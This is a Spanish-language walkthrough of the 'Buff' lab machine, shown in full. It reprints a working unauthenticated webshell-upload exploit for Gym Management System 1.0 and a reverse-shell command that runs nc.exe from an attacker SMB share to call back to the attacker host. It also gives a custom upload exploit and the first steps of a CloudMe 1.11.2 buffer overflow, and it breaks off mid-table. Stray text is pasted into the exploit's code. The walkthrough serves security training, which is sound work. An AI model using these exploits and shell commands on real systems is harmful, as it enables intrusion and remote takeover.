Buff


Es una máquina muy simple, pero vamos a analizar en profundidad un Buffer Overflow de CloudMe 1.11.2 y un 'Unauthenticated Remote Code Execution' en 'Gym Management System 1.0'

March 18, 202421 minutes

Reconocimiento

Para empezar lo primero es comprobar si la máquina está activa y que OS tiene

> ping -c 1 10.10.10.198
PING 10.10.10.198 (10.10.10.198) 56(84) bytes of data.
64 bytes from 10.10.10.198: icmp_seq=1 ttl=127 time=304 ms

--- 10.10.10.198 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 303.579/303.579/303.579/0.000 ms

Tenemos conexión y en este caso da un ttl (time to live) de 127, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Windows

Escaneo de puertos

Ahora empezamos con un escaneo de puertos

$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.198 -oG allPorts
Explicación parámetros
ParámetroFunción
-p-Para que el escaneo sea a todos los puertos (65536)
–openPara que solo reporte los puertos abiertos
–min-rate 5000Definir el tiempo del escaneo
-nOmitir resolución DNS
-vvvPara que vaya reportando lo que encuentre por consola
-PnPara saltar la comprobación de sí la máquina está activa o no
-oG allPortsPara que guarde el escaneo en format grepeable en un archivo llamado allPort

Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual

Función extractPorts de @s4vitar

> extractPorts allPorts
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.10.198
   5   │     [*] Open ports: 8080
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────

Ahora con nmap vamos a intentar buscar las versiones de los servicios que corren por los puertos y ejecutar scripts básicos de reconocimientos de nmap

nmap -sCV -p8080 10.10.10.198 -Pn -oN versions
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-03 12:58 CET
Nmap scan report for 10.10.10.198
Host is up (0.39s latency).

PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-title: mrb3n's Bro Hut
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
Explicación parámetros
ParámetroFunción
-pEspecificamos los puertos abiertos que hemos encontrado con el escaneo anterior
-sCPara que realice scripts básicos de reconocimiento
-sVProporciona la versión e información de los servicios que corren por los puertos

Puerto 8080

Nmap ha reportado que el puerto 8080 está abierto con una web hecha en Apache 2.4.42.

Al entrar vemos una web simple sobre un gimnasio, si vamos al apartado de contacto vemos el siguiente mensaje.

Made using Gym Management Software 1.0

Intrusión

Con una búsqueda en exploit-db vemos que es vulnerable a un RCE sin necesidad de estar autenticados

> searchsploit gym
-------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                      |  Path
-------------------------------------------------------------------- ---------------------------------
Gym Management System 1.0 - 'id' SQL Injection                      | php/webapps/48936.txt
Gym Management System 1.0 - Authentication Bypass                   | php/webapps/48940.txt
Gym Management System 1.0 - Stored Cross Site Scripting             | php/webapps/48941.txt
Gym Management System 1.0 - Unauthenticated Remote Code Execution   | php/webapps/48506.py
GYM MS - GYM Management System - Cross Site Scripting (Stored)      | php/webapps/51777.txt
WordPress Plugin WPGYM - SQL Injection                              | php/webapps/42801.txt
-------------------------------------------------------------------- ---------------------------------

Lo copiamos al directorio actual de trabajo

> searchsploit -m php/webapps/48506.py
  Exploit: Gym Management System 1.0 - Unauthenticated Remote Code Execution
      URL: https://www.exploit-db.com/exploits/48506
     Path: /usr/share/exploitdb/exploits/php/webapps/48506.py
    Codes: N/A
 Verified: False
File Type: Python script, ASCII text executable
cp: overwrite '/home/d3b0o/Desktop/buff/48506.py'? y
Copied to: /home/d3b0o/Desktop/buff/48506.py

Este sería el exploit:

import requests, sys, urllib, re
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def webshell(SERVER_URL, session):
    try:
        WEB_SHELL = SERVER_URL+'upload/kamehameha.php'
        getdir  = {'telepathy': 'echo %CD%'}
        r2 = session.get(WEB_SHELL, params=getdir, verify=False)
        status = r2.status_code
        if status != 200:
            print Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell."+Style.RESET_ALL
            r2.raise_for_status()
        print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.')
        cwd = re.findall('[CDEF].*', r2.text)
        cwd = cwd[0]+"> "
        term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET
        while True:
            thought = raw_input(term)
            command = {'telepathy': thought}
            r2 = requests.get(WEB_SHELL, params=command, verify=False)
            status = r2.status_code
            if status != 200:
                r2.raise_for_status()
            response2 = r2.text
            print(response2)
    except:
        print("\r\nExiting.")
        sys.exit(-1)

def formatHelp(STRING):
    return Style.BRIGHT+Fore.RED+STRING+Fore.RESET

def header():
    BL   = Style.BRIGHT+Fore.GREEN
    RS   = Style.RESET_ALLomo instalar mona.py en Immunity Debugger
    FR   = Fore.RESET
    SIG  = BL+'            /\\\n'+RS
    SIG += Fore.YELLOW+'/vvvvvvvvvvvv '+BL+'\\'+FR+'--------------------------------------,\n'
    SIG += Fore.YELLOW+'`^^^^^^^^^^^^'+BL+' /'+FR+'============'+Fore.RED+'BOKU'+FR+'====================="\n'
    SIG += BL+'            \/'+RS+'\n'
    return SIG

if __name__ == "__main__":
    print header();
    if len(sys.argv) != 2:
        print formatHelp("(+) Usage:\t python %s <WEBAPP_URL>" % sys.argv[0])
        print formatHelp("(+) Example:\t python %s 'https://10.0.0.3:443/gym/'" % sys.argv[0])
        sys.exit(-1)
    SERVER_URL = sys.argv[1]
    UPLOAD_DIR = 'upload.php?id=kamehameha'
    UPLOAD_URL = SERVER_URL + UPLOAD_DIR
    s = requests.Session()
    s.get(SERVER_URL, verify=False)
    PNG_magicBytes = '\x89\x50\x4e\x47\x0d\x0a\x1a'
    png     = {
                'file':
                  (
                    'kaio-ken.php.png',
                    PNG_magicBytes+'\n'+'<?php echo shell_exec($_GET["telepathy"]); ?>',
                    'image/png',
                    {'Content-Disposition': 'form-data'}
                  )
              }
    fdata   = {'pupload': 'upload'}
    r1 = s.post(url=UPLOAD_URL, files=png, data=fdata, verify=False)
    webshell(SERVER_URL, s)                  

Básicamente, lo que hace es subir un archivo el cual lo llama kaio-ken.php.png en el /upload.php. Dentro del archivo le mete los magic bytes de PNG para que se piense que el contenido es un png (x89\x50\x4e\x47\x0d\x0a\x1a). A continuación hay un ejemplo de como usar esta técnica para hacer que un script de php se piense que es un GIF

> cat test.php
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: test.php
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ <?php
   2echo "Test"
   3   │ ?>
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────
                                                                                                               
> file test.php
test.php: PHP script, ASCII text
> cat test.php
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: test.php
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ GIF8;
   2   │ <?php
   3echo "Test"
   4   │ ?>
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────
                                                                                                               
> file test.php
test.php: GIF image data 16188 x 26736

Para que se entienda mejor vamos a cambiar los magic bytes del script a los de GIF8;, aunque tal y como viene por default ya funciona

PNG_magicBytes = 'GIF8;'

Por último ejecutamos el script

> python2 48506.py http://10.10.10.198:8080/
/usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
            /\omo instalar mona.py en Immunity Debugger
/vvvvvvvvvvvv \--------------------------------------,
`^^^^^^^^^^^^ /============BOKU====================="
            \/

[+] Successfully connected to webshell.
F8;> 

Ahora ya tenemos una shell que en verdad no es una shell, me explico, simplemente hemos subido un script en php que ejecuta todo lo que le pasamos por el parámetro telepathy

> curl "http://10.10.10.198:8080/upload/kamehameha.php?telepathy=whoami"
GIF8;
buff\shaun
Qué código tiene kamehameha.php que nos permite ejecutar comandos?

El archivo kamehameha.php tiene el siguiente código

<?php echo shell_exec($_GET["telepathy"]); ?>

Lo que hace básicamente es pasarle a la función shell_exec todo lo que recibe por GET por el parámetro telepathy.

La función shell_exec lo que hace es ejecutar comandos en el sistema, pero no muestra el output, para hacer que muestre el output hay que poner el echo delante

Sin echo

d3bo~> cat test.php
   1   <?php shell_exec("whoami") ?>
d3bo~> php test.php

Con echo

d3bo~> cat test.php
   1   <?php echo shell_exec("whoami") ?>
d3bo~> php test.php
d3bo

Si shell_exec no funcionara o está bloqueado, se pueden usar otras funciones, a continuación os dejo unos ejemplos

system()

d3bo~> cat test.php
   1   <?php system("whoami") ?>
d3bo~> php test.php
d3bo

passthru()

d3bo~> cat test.php
   1   <?php passthru("whoami") ?>
d3bo~> php test.php
d3bo

exec()

d3bo~> cat test.php
   1   <?php echo exec("whoami") ?>
d3bo~> php test.php
d3bo                                                                                                                                                            

popen()

d3bo~> cat test.php
   1   <?php
   2   $handle = popen('whoami', 'r');
   3   $read = fread($handle, 2096);
   4   pclose($handle);
   5   echo $read;
   6   ?>
   7
d3bo~> php test.php
d3bo

Vamos a usar este RCE para mandarnos una Reverse Shell en condiciones.

Para ello primero buscamos un nc.exe que normalmente en kali ya viene instalado, después nos lo movemos al directorio actual y abrimos un servidor con samba para poder ejecutarlo desde la otra máquina

> locate nc.exe
/home/d3b0o/Desktop/buff/nc.exe
/opt/SecLists/Web-Shells/FuzzDB/nc.exe
/usr/lib/mono/4.5/cert-sync.exe
/usr/share/seclists/Web-Shells/FuzzDB/nc.exe
/usr/share/windows-resources/binaries/nc.exe
                                                                                                                                                                                                                        
> cp /usr/share/windows-resources/binaries/nc.exe .
                                                                                                                                                                                                                        
> impacket-smbserver smb $(pwd) -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Nos ponemos en escucha por el puerto 443

rlwrap nc -nlvp 443

Por último aprovechándonos del RCE vamos a ejecutar el siguiente comando

//10.10.14.31/smb/nc.exe -e cmd 10.10.14.31 443
curl -s -G "http://10.10.10.198:8080/upload/kamehameha.php" --data-urlencode "telepathy=//10.10.14.31/smb/nc.exe -e cmd 10.10.14.31 443"

¡Recibimos la reverse shell !!!

Analizando la vulnerabilidad

¿Porque conseguimos ejecutar comandos? Que está mal en el código del upload.php?

Dentro de los exploits de exploidb suele haber un enlace para descargar la aplicación vulnerable, en este caso el enlace es https://projectworlds.in/free-projects/php-projects/gym-management-system-project-in-php/

Desde ahí, nos descargamos el código. Una vez descargado y descomprimido podemos ver el contenido del archivo upload.php que es el que hemos usado para subir un archivo php malicioso

<?php
include_once 'include/db_connect.php';
include_once 'include/functions.php';
$user = $_GET['id'];
$allowedExts = array("jpg", "jpeg", "gif", "png","JPG");
$extension = @end(explode(".", $_FILES["file"]["name"]));
if(isset($_POST['pupload'])){
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/JPG")
|| ($_FILES["file"]["type"] == "image/png")
|| ($_FILES["file"]["type"] == "image/pjpeg"))
&& ($_FILES["file"]["size"] < 20000000000000)
&& in_array($extension, $allowedExts))
  {
  if ($_FILES["file"]["error"] > 0)
    {
    echo "Return Code: " . $_FILES["file"]["error"] . "<br>";
    }
  else
    {


    if (file_exists("upload/" . $_FILES["file"]["name"]))
      {
      unlink("upload/" . $_FILES["file"]["name"]);
      }
    else
      {
          $pic=$_FILES["file"]["name"];
            $conv=explode(".",$pic);
            $ext=$conv['1'];

      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload/". $user.".".$ext);
      $url=$user.".".$ext;

      $query="update members set pic=1, picName='$url' where id='$user'";
      if($upl=$mysqli->query($query)){
          header("location: profile/i.php");
              }
      }
    }
  }
else

  header("location: /profile/i.php");

  }

?>

Al principio del script se declaran unas variables:

  • user, que equivale a lo que le pasamos por get, por el parámetro id,
  • allowedExts, esta variable es una array con todas las extensiones permitidas (jpg,png,gif…)
  • extensión, guarda la extensión del archivo de la siguiente forma
$extension = @end(explode(".", $_FILES["file"]["name"]));

Está haciendo uso de la función explode para separar el nombre en distintas partes separadas por “.”

d3bo> cat test.php
   1   <?php
   2   $test = explode(".", "test.php.png" );
   3   print_r($test)
   4   ?>

d3bo> php test.php
Array
(
    [0] => test
    [1] => php
    [2] => png
)

Además añade @end para que solo muestre el último

d3bo> cat test.php
   1   <?php
   2   $test = @end(explode(".", "test.php.png" ));
   3   echo $test
   4   ?>
d3bo> php test.php
png                      

Con esto consigue sacar la extensión del archivo.

El código sigue con lo siguiente

if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/JPG")
|| ($_FILES["file"]["type"] == "image/png")
|| ($_FILES["file"]["type"] == "image/pjpeg"))
&& ($_FILES["file"]["size"] < 20000000000000)
&& in_array($extension, $allowedExts))

Aquí está haciendo 3 comprobaciones

  • Content-Type: Primero comprueba si el content type es image/gif o image/jpeg o image/JPG o image/png o image/pjpeg
  • Tamaño: También comprueba que el archivo sea más pequeño que 20,000,000,000,000 bytes
  • Extensión: Por último comprueba que la extensión del archivo este en la array allowedExts

Si pasa todas estas validaciones pasa al la siguiente sección

$pic=$_FILES["file"]["name"];
$conv=explode(".",$pic);
$ext=$conv['1'];

move_uploaded_file($_FILES["file"]["tmp_name"],
"upload/". $user.".".$ext);
$url=$user.".".$ext;

Aquí es donde empieza la vulnerabilidad

Vuelve a dividir el nombre en una array con la función explode usando de separador el “.” y guarda en la variable ext la posición 1 de la array. Después sube el archivo con el nombre del usuario que pasamos por GET y la extensión.

El problema es que no se está calculando bien la extensión, ya que si probamos de poner 2 extensiones, se queda con la primera

d3bo> cat test2.php
   1   <?php
   2   $pic="shell.php.png";
   3   $conv=explode(".",$pic);
   4   $ext=$conv['1'];
   5   echo $ext
   6   ?>
d3bo> php test2.php
php                                                   

El nombre shell.php.png pasaría todas las validaciones porque es un png, pero cuando se suba lo guardará con el nombre del usuario y la extensión php, ya que coge la 1 posición de la array en vez de la última

Para que no pasara esto se tendría que usar ‘@end’ como se hacía al principio del código

d3bo> cat test2.php
   1   <?php
   2   $pic="shell.php.png";
   3   $conv=explode(".",$pic);
   4   $ext=@end($conv);
   5   echo $ext
   6   ?>
d3bo> php test2.php
png

Podemos probar todo esto creando nuestro propio script

> cat exploit.py

   1    import requests
   2    
   3    def subir_archivo(s):
   4        url = 'http://10.10.10.198:8080/upload.php?id=user2'
   5        contenido_archivo = 'GIF8;\n <?php system("whoami") ?>'
   6        archivo = {'file': ('shell.php.gif', contenido_archivo, 'image/gif')}
   7        fdata = {'pupload': 'upload'}
   8        try:
   9            respuesta = s.post(url, files=archivo, data=fdata)
  10        except Exception as e:
  11            print("Error al realizar la solicitud:", e)
  12    
  13    s = requests.Session()
  14    subir_archivo(s)
  15    r = s.get("http://10.10.10.198:8080/upload/user2.php")
  16    print(r.text)
                                                                                                      
> python3 exploit.py
GIF8;
 buff\shaun

Escalada de privilegios

Dentro del directorio de Downloads hay un archivo llamado CloudMe_1112.exe

C:\Users\shaun>tree /f

    3D Objects
    Contacts
    Desktop
        user.txt
        
    Documents
        Tasks.bat
        
    Downloads
        CloudMe_1112.exe
....       

Con una búsqueda rápida por google se puede encontrar porque puerto funciona por defecto CloudMe (8888)

Con un netstat -a podemos ver que el puerto 8888 está abierto en local

C:\xampp\htdocs\gym\upload>netstat -a
netstat -a

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:135            BUFF:0                 LISTENING
  TCP    0.0.0.0:445            BUFF:0                 LISTENING
  TCP    0.0.0.0:5040           BUFF:0                 LISTENING
  TCP    0.0.0.0:7680           BUFF:0                 LISTENING
  TCP    0.0.0.0:8080           BUFF:0                 LISTENING
  TCP    0.0.0.0:49664          BUFF:0                 LISTENING
  TCP    0.0.0.0:49665          BUFF:0                 LISTENING
  TCP    0.0.0.0:49666          BUFF:0                 LISTENING
  TCP    0.0.0.0:49667          BUFF:0                 LISTENING
  TCP    0.0.0.0:49668          BUFF:0                 LISTENING
  TCP    0.0.0.0:49669          BUFF:0                 LISTENING
  TCP    10.10.10.198:139       BUFF:0                 LISTENING
  TCP    10.10.10.198:8080      10.10.14.31:55448      ESTABLISHED
  TCP    10.10.10.198:49771     10.10.14.31:https      ESTABLISHED
  TCP    127.0.0.1:3306         BUFF:0                 LISTENING
  TCP    127.0.0.1:8888         BUFF:0                 LISTENING

Con un searchsploit encontramos que la versión del programa que había en la carpeta de ‘Downloads’ es vulnerable a un Buffer Overflow.

> searchsploit CloudMe 1.11.2
----------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                               |  Path
----------------------------------------------------------------------------- ---------------------------------
CloudMe 1.11.2 - Buffer Overflow (PoC)                                       | windows/remote/48389.py
CloudMe 1.11.2 - Buffer Overflow (SEH_DEP_ASLR)                              | windows/local/48499.txt
CloudMe 1.11.2 - Buffer Overflow ROP (DEP_ASLR)                              | windows/local/48840.py
CloudMe Sync 1.11.2 - Buffer Overflow + Egghunt                              | windows/remote/46218.py
CloudMe Sync 1.11.2 - Buffer Overflow + Egghunt                              | windows/remote/46218.py
CloudMe Sync 1.11.2 Buffer Overflow - WoW64 (DEP Bypass)                     | windows_x86-64/remote/46250.py
CloudMe Sync 1.11.2 Buffer Overflow - WoW64 (DEP Bypass)                     | windows_x86-64/remote/46250.py
----------------------------------------------------------------------------- ---------------------------------

Podríamos usar el script de exploitdb, pero vamos a hacerlo manual.

Buffer Overflow

Primero de todo vamos a usar una máquina virtual con un windows 7 de 32 Bits, dentro del windows vamos a instalar CloudMe 1.11.2, Immunity Debuger y mona.py

  • El Immunity Debuger lo vamos a usar para analizar el binario durante la ejecución.
  • El CloudMe 1.11.2 va a estar ejecutándose en nuestra, máquina para poder analizarlo y simular ataques como si fuera la máquina víctima
  • mona.py Mona.py es un script en python que funciona con Immunity Debuger, vamos a usarlo para automatizar distintos procesos durante la explotación del buffer overflow
Como instalar mona.py en Immunity Debugger

Descargamos el archivo de github

https://raw.githubusercontent.com/corelan/mona/master/mona.py

Y lo movemos a C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands


Lo siguiente es ejecutar el CloudMe 1.11.2 para ello necesitamos crear una cuenta de CloudMe.

Portfordwarding

Si recordamos CloudMe funciona por el puerto 8888 en local así que no podemos ver este puerto desde el Kali, por lo que tenemos que hacer portforwarding, para ello usamos Chisel

En la máquina atacante nos descargamos Chisel y lo ejecutamos

sudo ./chisel server --reverse -p 1234
Explicación parámetros
ParámetroFunción
-pEspecificamos el puerto por el cual vamos a tener el servidor chisel
serverAbre chisel en modo servidor
–reversePermite a los clientes configurar reenvíos de puertos inversos

En el windows vamos a descargar también Chisel y lo ejecutamos

chisel.exe client 192.168.1.145:1234 R:8888:127.0.0.1:8888
Explicación parámetros
ParámetroFunción
192.168.1.145:1234Especificamos la ip de la máquina atacante en la cual tenemos el chisel en modo server y el puerto en el cual tenemos chisel corriendo
clientAbre chisel en modo cliente
R:8888:127.0.0.1:8888Indicamos que el puerto 8888 de la máquina Windows se mapee al puerto 8888 de la máquina atacante. Lo que significa que ahora el puerto 8888 de la máquina atacante es el mismo que el 8888 de la máquina Windows

Para comprobar que ha funcionado todo correcto podemos comprobar si el puerto 8888 se ha abierto en nuestro kali, de la siguiente forma:

ss -tnlp | grep 8888

LISTEN 0      4096               *:8888             *:*
Explicación parámetros
ParámetroFunción
ssSe usa para mostrar información sobre los sockets de red, como conexiones TCP, UDP y estadísticas de socket
-tMuestra únicamente las conexiones TCP.
-nMuestra las direcciones y puertos numéricamente en lugar de resolver nombres.
-lMuestra solo las conexiones en estado de escucha (listening).
-pMuestra los procesos asociados con los sockets.
grepEn este caso lo usamos para filtrar por la línea que contenga el puerto 8888

Calcular Offset

Empezamos mandando muchos caracteres para ver si la aplicación deja de funcionar

python2 -c 'print "A"*7000' | nc 127.0.0.1 8888

Ahora en el windows aparece el siguiente mensaje

Para saber por qué crashea vamos a abrirlo otra vez y hacer un attach (File>Attach>CloudMe) desde Immunity Debugger, y le damos al play

Repetimos el mismo proceso de mandar un input grande

python2 -c 'print "A"*7000' | nc 127.0.0.1 8888

Ahora desde immunity debugger podemos ver que hay registros como el EIP,ESP,EBP,… que tienen de valor 41, el 41 es el resultado del carácter ‘A’ en hexadecimal, esto significa que al poner una cadena más larga que el tamaño de buffer que tenía asignada la variable, se han sobreescrito registros de la memoria para poder guardar las ‘A’. El problema está en que por ejemplo si cambiamos el valor del EIP el programa no sabe por donde continuar, ya que el EIP “Instruction Pointer” (Puntero de Instrucción) contiene la dirección de la memoria de la próxima instrucción, si le ponemos una dirección que no existe como en este caso 41414141, simplemente deja de funcionar.

Vamos a ver cuantas A tenemos que poner para llegar hasta el EIP, para ello vamos a crear una cadena especialmente diseñada para esto

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 7000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3A...
Explicación parámetros
ParámetroFunción
-l 7000Especificamos la cantidad de caracteres que va a tener la cadena

Se lo mandamos a CloudMe

> nc 127.0.0.1 8888

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1A...

Obviamente, CloudMe se ha vuelto a petar, pero si observamos el EIP, vemos que ahora vale 316A4230.

Con el siguiente comando se calcula automáticamente el offset (La cantidad de ‘A’) para llegar al EIP

> /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 7000 -q 316A4230
[*] Exact match at offset 1052
Explicación parámetros
ParámetroFunción
-l 7000Especificamos la cantidad de caracteres que tenía la cadena
-q 316A4230Con -q ponemos los caracteres que salen en el EIP

El comando nos dice que el offset es 1052.

Para comprobarlo mandaremos 1052 ‘A’ y 4 ‘B’, si el cálculo ha salido bien deberíamos ver desde immunity debugger que el eip vale 42424242 que es BBBB en hexadecimal

python2 -c 'print "A"*1052 + "B"*4' | nc 127.0.0.1 8888

Efectivamente, después de ejecutar esto el EIP pasa a valer 42424242 que es lo mismo que BBBB, esto sígnica que ya tenemos el control del EIP y por ende el control del flujo del programa.

Esto lo vamos a usar para modificar el EIP para que salte al ESP y dentro del ESP vamos a cargar unas instrucciones para ejecutar comandos.

Mandamos el mismo payload que antes, pero ahora con 2000 C que van a representar las intrucciones que pondremos más tarde.

python2 -c 'print "A"*1052 + "B"*4 + "C"*200' | nc 127.0.0.1 8888

Desde el Immunity Debugger vemos que el ESP comienza justo después del EIP.

Badchars

¿Qué es un badchar?

Un “badchar” es un carácter que, cuando se procesa, puede causar problemas porque el sistema no lo interpreta de la manera esperada.

¿Como podríamos comprobar si hay algún carácter que no se procesa bien?, pues mandando todos los tipos de caracteres y ver si dan errores.

Hasta ahora hemos estado mandando onelines de python, pero ahora vamos a hacer un script porque vamos a tener que añadir más cosas

from pwn import *
from struct import pack

offset = 1052
before_eip = b"A" * offset
eip = b"BBBB"


payload = before_eip + eip 
host, port = "127.0.0.1", 8888

r = remote(host, port)
r.sendline(payload)

A este script le tenemos que añadir los caracteres que comprobaremos si son badchars. Para sacar la lista usaremos el programa badchars que lo podemos instalar con pip

> pip3 install badchars
                                                                                                        
> badchars -f python
badchars = (
  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
  "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
  "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
  "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
  "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
  "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
  "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
  "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
  "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
  "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
  "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
  "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
  "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
from pwn import *
from struct import pack

offset = 1052
before_eip = b"A" * offset
eip = b"BBBB"
badchars = (
  b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
  b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
  b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
  b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
  b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
  b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
  b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
  b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
  b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
  b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
  b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
  b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
  b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

payload = before_eip + eip + badchars
host, port = "127.0.0.1", 8888

r = remote(host, port)
r.sendline(payload)

Desde immunity debbuger podemos comprobar 1 a 1 si el carácter se muestra o no

Esto es un tostón, por eso antes hemos instalado mona.py, que como dije antes nos serviría para automatizar procesos

Empezamos con mona configurando el directorio de trabajo

!mona config -set workingfolder C:\Users\arnau\Desktop\bof

Seguimos creando una cadena de bytes para comprobar los badchars, pero excluimos el \x00 (Null byte) porque siempre da problemas

!mona bytearray -b "\x00"

Dentro de la carpeta que hemos configurado como “workingfolder” han aparecido dos archivos. Dentro del bytearray.txt tenemos la misma cadena de caracteres que hemos configurado antes, así que no nos va a hacer falta modificar el script. El archivo que vamos a usar es el bytearray.bin.

!mona compare -f C:\Users\arnau\Desktop\bof\bytearray.bin -a 0022F930

Este comando lo que va a hacer es comprobar si los caracteres se muestran bien, o dan algún problema. Con el parámetro -a tenemos que especificar la dirección del ESP donde hemos puesto la cadena de bytes para comprobar los badchars. Después de ejecutarlo se abre la siguiente ventana, donde dice que no hay ningún badchar, lo que significa que todos se muestran y se procesan de forma exitosa.

Protecciones

Listamos todos los módulos para ver las protecciones que tienen

!mona modules

Tipos de protecciones
NombreDescripción
